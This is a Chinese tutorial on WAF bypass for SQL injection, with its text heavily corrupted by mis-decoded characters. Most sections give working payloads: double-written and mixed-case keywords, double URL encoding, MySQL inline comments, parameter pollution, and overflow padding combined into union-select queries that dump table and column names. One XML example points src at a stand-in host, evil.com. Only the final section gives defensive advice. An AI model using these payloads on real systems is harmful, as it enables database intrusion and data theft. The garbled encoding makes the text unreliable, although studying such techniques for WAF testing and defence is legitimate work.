一、WAF介紹
傳統(tǒng)防火墻只是在第三層(網(wǎng)絡(luò)層)有效的阻斷一些數(shù)據(jù)包;而隨著web應(yīng)用的功能越來(lái)越豐富的時(shí)候,Web服務(wù)器因?yàn)槠鋸?qiáng)大的計(jì)算能力,處理性能,蘊(yùn)含較高的價(jià)值,成為主要的被攻擊目標(biāo)(第五層應(yīng)用層),由此WAF應(yīng)運(yùn)而生。
WAF稱(chēng)為web應(yīng)用防火墻,是通過(guò)執(zhí)行一系列針對(duì)HTTP,HTTPS的安全策略,來(lái)專(zhuān)門(mén)對(duì)web應(yīng)用,提供保護(hù)的一款產(chǎn)品。WAF初期是基于規(guī)則防護(hù)的防護(hù)設(shè)備;基于規(guī)則的防護(hù),可以提供各種web應(yīng)用的安全規(guī)則,waf生產(chǎn)商去維護(hù)這個(gè)規(guī)則庫(kù),并實(shí)時(shí)為其更新,用戶按照這些規(guī)則,可以對(duì)應(yīng)用進(jìn)行全方面的保護(hù)。
常見(jiàn)特征
審計(jì)設(shè)備:用來(lái)截獲所有HTTP數(shù)據(jù)或者僅僅滿足某些規(guī)則的會(huì)話
訪問(wèn)控制設(shè)備:用來(lái)控制對(duì)Web應(yīng)用的訪問(wèn),既包括主動(dòng)安全模式也包括被動(dòng)安全模式
架構(gòu)/網(wǎng)絡(luò)設(shè)計(jì)工具:當(dāng)運(yùn)行在反向代理模式,他們被用來(lái)分配職能,集中控制,虛擬基礎(chǔ)結(jié)構(gòu)等。
WEB應(yīng)用加固工具:這些功能增強(qiáng)被保護(hù)Web應(yīng)用的安全性,它不僅能夠屏蔽WEB應(yīng)用固有弱點(diǎn),而且能夠保護(hù)WEB應(yīng)用編程錯(cuò)誤導(dǎo)致的安全隱患。
常見(jiàn)特點(diǎn)
? 異常檢測(cè)協(xié)議:拒絕不符合HTTP標(biāo)準(zhǔn)的請(qǐng)求
? 增強(qiáng)的輸入驗(yàn)證:代理和服務(wù)端的驗(yàn)證,而不只是限于客戶端驗(yàn)證
? 白名單&黑名單:白名單適用于穩(wěn)定的We應(yīng)用,黑名單適合處理已知問(wèn)題
? 基于規(guī)則和基于異常的保護(hù):基于規(guī)則更多的依賴黑名單機(jī)制,基于異常更為靈活
? 狀態(tài)管理:重點(diǎn)進(jìn)行會(huì)話保護(hù)
? 另還有:Cookie保護(hù)、抗入侵規(guī)避技術(shù)、響應(yīng)監(jiān)視和信息泄露保護(hù)等
WAF的識(shí)別掃描器
? 掃描器指紋(head字段/請(qǐng)求參數(shù)值),以wvs為例,會(huì)有很明顯的Acunetix 在內(nèi)的標(biāo)識(shí)
? 單IP+ cookie某時(shí)間段內(nèi)觸發(fā)規(guī)則次數(shù)
?隱藏的鏈接標(biāo)簽等
?Cookie植入
?驗(yàn)證碼驗(yàn)證,掃描器無(wú)法自動(dòng)填充驗(yàn)證碼
?單IP請(qǐng)求時(shí)間段內(nèi)Webserver返回http狀態(tài)404比例, 掃描器探測(cè)敏感目錄基于字典,找不到文件則返回404
二、繞過(guò)技術(shù)
1. 雙寫(xiě)繞過(guò)
? 舉例:?id=1
? 訪問(wèn)?id=1 and 1=1 頁(yè)面報(bào)錯(cuò) 1=1,發(fā)現(xiàn)and被過(guò)濾,這時(shí)候嘗試使用雙寫(xiě) 的方式繞過(guò),如aanndd 1=1,當(dāng)and被過(guò)濾后,aanndd變成了and,所以 這時(shí)傳輸數(shù)據(jù)庫(kù)的語(yǔ)句是and 1=1 ,如果當(dāng)訪問(wèn) order by 錯(cuò)誤信息為?der by?這發(fā)現(xiàn)過(guò)濾了or,這雙寫(xiě)or,后面注入和union注入的一致。
2. 大小寫(xiě)繞過(guò)
? 大小寫(xiě)繞過(guò)用于只針對(duì)小寫(xiě)或大寫(xiě)的關(guān)鍵字匹配技術(shù),正則表達(dá)式 /express/i 大小寫(xiě)不敏感即無(wú)法繞過(guò),這是最簡(jiǎn)單的繞過(guò)技術(shù)
? 舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
? 示例場(chǎng)景可能的情況為filter的規(guī)則里有對(duì)大小寫(xiě)轉(zhuǎn)換的處理,但不是每個(gè) 關(guān)鍵字或每種情況都有處理
3. 替換關(guān)鍵字
? 這種情況下大小寫(xiě)轉(zhuǎn)化無(wú)法繞過(guò),而且正則表達(dá)式會(huì)替換或刪除select、 union這些關(guān)鍵字,如果只匹配一次就很容易繞過(guò)
? 舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
? 同樣是很基礎(chǔ)的技術(shù),有些時(shí)候甚至構(gòu)造得更復(fù)雜:SeLSeselectleCTecT, 不建議對(duì)此抱太大期望
4. 編碼繞過(guò)注入
URL編碼
訪問(wèn)id=1’,發(fā)現(xiàn)頁(yè)面報(bào)出Mysql錯(cuò)誤,接著訪問(wèn)id=1 and 1=1 和id=1 and 1=2 時(shí),發(fā)現(xiàn)and被攔截,嘗試使用URL全編碼的方式繞過(guò)攔截。由于服務(wù)器會(huì) 自動(dòng)對(duì)URL進(jìn)行一次URL編碼,所以需要把關(guān)鍵字編碼兩次,這里需要注意的地方是,URL編碼需要選擇全編碼,而不是普通的URL編碼。
如: 關(guān)鍵字and進(jìn)行兩次URL全編碼的結(jié)果是%25%36%31%25%36%65%25%36%34, 訪問(wèn)id=1 %25%36%31%25%36%65%25%36%34 1=1時(shí),頁(yè)面返回和id=1相同, 訪問(wèn)id=1 %25%36%31%25%36%65%25%36%34 1=2時(shí),和id=1不同,所以該頁(yè)面一定存在sql注入漏洞。
后面的注入過(guò)程與union注入一致,只需判斷過(guò)濾的關(guān)鍵詞,并經(jīng)過(guò)兩次URL 全編碼即可。
十六進(jìn)制編碼
target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代碼中,前者是對(duì)單個(gè)字符十六進(jìn)制編碼,后者則是對(duì)整個(gè)字符串編碼
Unicode編碼
? Unicode有所謂的標(biāo)準(zhǔn)編碼和非標(biāo)準(zhǔn)編碼,假設(shè)我們用的utf-8為標(biāo)準(zhǔn)編碼,那么西歐語(yǔ)系所使用的就是非標(biāo)準(zhǔn)編碼了
? 看一下常用的幾個(gè)符號(hào)的一些Unicode編碼:
? 單引號(hào): %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
? 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
? 左括號(hào):%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
? 右括號(hào):%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
? 舉例:?id=1%D6‘%20AND%201=2%23
? SELECT ‘?’=‘A’; #1
? 兩個(gè)示例中,前者利用雙字節(jié)繞過(guò),比如對(duì)單引號(hào)轉(zhuǎn)義操作變成’,那么就變成了%D6%5C’,%D6%5C構(gòu)成了 一個(gè)寬字節(jié)即Unicode字節(jié),單引號(hào)可以正常使用
? 第二個(gè)示例使用的是兩種不同編碼的字符的比較,它們比較的結(jié)果可能是True或者False,關(guān)鍵在于Unicode 編碼種類(lèi)繁多,基于黑名單的過(guò)濾器無(wú)法處理所以情況,從而實(shí)現(xiàn)繞過(guò)
? 另外平時(shí)聽(tīng)得多一點(diǎn)的可能是utf-7的繞過(guò),還有utf-16、utf-32的繞過(guò),后者從成功的實(shí)現(xiàn)對(duì)google的繞過(guò), 有興趣的朋友可以去了解下
? 常見(jiàn)的編碼當(dāng)然還有二進(jìn)制、八進(jìn)制,它們不一定都派得上用場(chǎng),但后面會(huì)提到使用二進(jìn)制的例
5. 使用注釋
普通注釋
? 常見(jiàn)的用于注釋的符號(hào): //, – , /**/, #, – +, – - , ; , – a
? 舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
? 'union%a0select pass from users#
? /**/在構(gòu)造得查詢語(yǔ)句中插入注釋?zhuān)?guī)避對(duì)空格的依賴或關(guān)鍵字識(shí)別;#、-+用于終結(jié)語(yǔ)句的查詢
內(nèi)聯(lián)注釋
? 相比普通注釋?zhuān)瑑?nèi)聯(lián)注釋用的更多,它有一個(gè)特性/!**/只有MySQL能識(shí)別
? 舉例:
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?? ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLE ct*/%0A/*nnaa*/+1,2,3,4…
? 兩個(gè)示例中前者使用內(nèi)聯(lián)注釋?zhuān)笳哌€用到了普通注釋。使用注釋一個(gè)很有用的做法便是對(duì)關(guān)鍵字的拆分,要做到這一點(diǎn)后面討論的特殊符號(hào)也能實(shí)現(xiàn),當(dāng)然前提是包括/、*在內(nèi)的這些字符能正常使用
6. 等價(jià)函數(shù)與命令
某些函數(shù)或命令,因?yàn)閃AF的過(guò)濾機(jī)制導(dǎo)致我們無(wú)法使用。那么,我們也可以嘗試用一些等價(jià)函數(shù)來(lái)替代它們
1.函數(shù)或變量
? hex()、bin() ==> ascii()
? sleep() ==>benchmark()
? concat_ws()==>group_concat()
? mid()、substr() ==> substring()
? @@user ==> user()
? @@datadir ==> datadir()
2.符號(hào)
? and和or有可能不能使用,或者可以試下&&和||能不能用;還有=不能使用的情況,可以考慮嘗試<、>,因?yàn)槿绻恍∮谟植淮笥?,那便等于?/p>
? 如 id=1 or 1=1 可以換成 id=1 or 1!=2
? 在看一下用得多的空格,可以使用如下符號(hào)表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函數(shù)
? ? MySQL/PostgreSQL支持XML函數(shù):Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);? ? ? ? ?
? ? ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
? ? SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
? ? ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
、
? MySQL、PostgreSQL、Oracle它們都有許多自己的函數(shù),基于黑名單的 filter要想涵蓋這么多東西從實(shí)際上來(lái)說(shuō)不太可能,而且代價(jià)太大,看來(lái)黑名單技術(shù)到一定程度便遇到了限制。
7. 特殊符號(hào)
? 這里把非字母數(shù)字的字符都規(guī)在了特殊符號(hào)一類(lèi),特殊符號(hào)有特殊的含義和用法,涉及信息量比前面提到的幾種都要多
? 幾個(gè)例子:
? 1.使用反引號(hào),例如select version()`,可以用來(lái)過(guò)空格和正則,特殊情況下還可以將其做注釋符用
? 2.神奇的"-+.",select+id-1+1.from users; ?+?是用于字符串連接的,?-?和?.? 在此也用于連接,可以逃過(guò)空格和關(guān)鍵字過(guò)濾
? 3.@符號(hào),select@^1.from users; @用于變量定義如@ var_name ,一個(gè)@表示用戶定義,@@表示系統(tǒng)變量
? 4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //繞過(guò)空格限制
? 發(fā)揮大作用的字符(未包括’、*、/等在內(nèi),考慮到前面已經(jīng)出現(xiàn)較多次了): `、~、!、@、%、()、[]、.、-、+ 、|、%00
8. HTTP參數(shù)控制
? 通過(guò)提供多個(gè)參數(shù)=相同名稱(chēng)的值集來(lái)混淆WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ – ‘在某些情況下(例如使用 Apache/PHP),應(yīng)用程序?qū)H解析最后(第二個(gè)) id= 而WAF只解析第一 個(gè)。在應(yīng)用程序看來(lái)這似乎是一個(gè)合法的請(qǐng)求,因此應(yīng)用程序會(huì)接收并處理這些惡意輸入。如今,大多數(shù)的WAF都不會(huì)受到HTTP參數(shù)污染(HPP) 的影響,但仍然值得一試。
? 1.HPP(HTTP Parameter Polution)
? 舉例:
/?id=1;select+1,2,3+from+users+where+id=1--
1
/?id=1;select+1&id=2,3+from+users+where+id=1--
1
/?id=1/**/union/&id=/select/&id=/pwd/&id=/from/&id=/users
? HPP又稱(chēng)做重復(fù)參數(shù)污染,最簡(jiǎn)單的就是?uid=1&uid=2&uid=3,對(duì)于這種 情況,不同的Web服務(wù)器處理方式如下
2.HPF(HTTP Parameter Fragment)
? 這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執(zhí)行換行)
? 舉例:
?? /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
1
? select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—
? 看罷上面兩個(gè)示例,發(fā)現(xiàn)和HPP最后一個(gè)示例很像,不同之處在于參數(shù)不 一樣,這里是在不同的參數(shù)之間進(jìn)行分割,到了數(shù)據(jù)庫(kù)執(zhí)行查詢時(shí)再合并 語(yǔ)句。
? 3.HPC(HTTP Parameter Contamination)
? RFC2396定義了如下一些字符:
? Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ’ () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `
不同的Web服務(wù)器處理處理構(gòu)造得特殊請(qǐng)求時(shí)有不同的邏輯:
以魔術(shù)字符%為例,Asp/Asp.net會(huì)受到影響
9. 緩沖區(qū)溢出(Advanced)
? 緩沖區(qū)溢出用于對(duì)付WAF,有不少WAF是C語(yǔ)言寫(xiě)的,而C語(yǔ)言自身沒(méi)有緩沖區(qū)保護(hù)機(jī)制,因此如果WAF在處理測(cè)試向量時(shí)超出了其緩沖區(qū)長(zhǎng)度,就會(huì)引發(fā)bug從而實(shí)現(xiàn)繞過(guò)
? 舉例:
? ? ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,25,26
? 示例0xA*1000指0xA后面?A"重復(fù)1000次,一般來(lái)說(shuō)對(duì)應(yīng)用軟件構(gòu)成緩沖區(qū)溢出都需要較大的測(cè)試長(zhǎng)度,這里1000只做參考,在某些情況下可能不需要這么長(zhǎng)也能溢出
10. 整合繞過(guò)
? 整合的意思是結(jié)合使用前面談到的各種繞過(guò)技術(shù),單一的技術(shù)可能無(wú)法繞過(guò)過(guò)濾機(jī)制,但是多種技術(shù)的配合使用成功的可能性就會(huì)增加不少了。這一方面來(lái)說(shuō)是總體與局部和的關(guān)系,另一方面則是多種技術(shù)的使用創(chuàng)造了更多的可能性, 除非每一種技術(shù)單獨(dú)都無(wú)法使用,否則它們能產(chǎn)生比自身大得多的能量。
? target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…?
? id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
? ?id=5+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATIO N_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
11. SQL修復(fù)建議
? 常用得SQL注入漏洞得修復(fù)方法有兩種
? 1.過(guò)濾危險(xiǎn)字符
? 多數(shù)CMS都采用過(guò)濾字符的方式,例如,采用正則表達(dá)式匹配union、 sleep、load_file等關(guān)鍵字,如果匹配到,則退出程序。
? 2.使用預(yù)編譯語(yǔ)句
? 其實(shí)使用PDO預(yù)編譯語(yǔ)句,需要注意的是,不要將變量直接拼接到PDO語(yǔ) 句中,而是使用占位符進(jìn)行數(shù)據(jù)庫(kù)的增加、刪除、修改、查詢。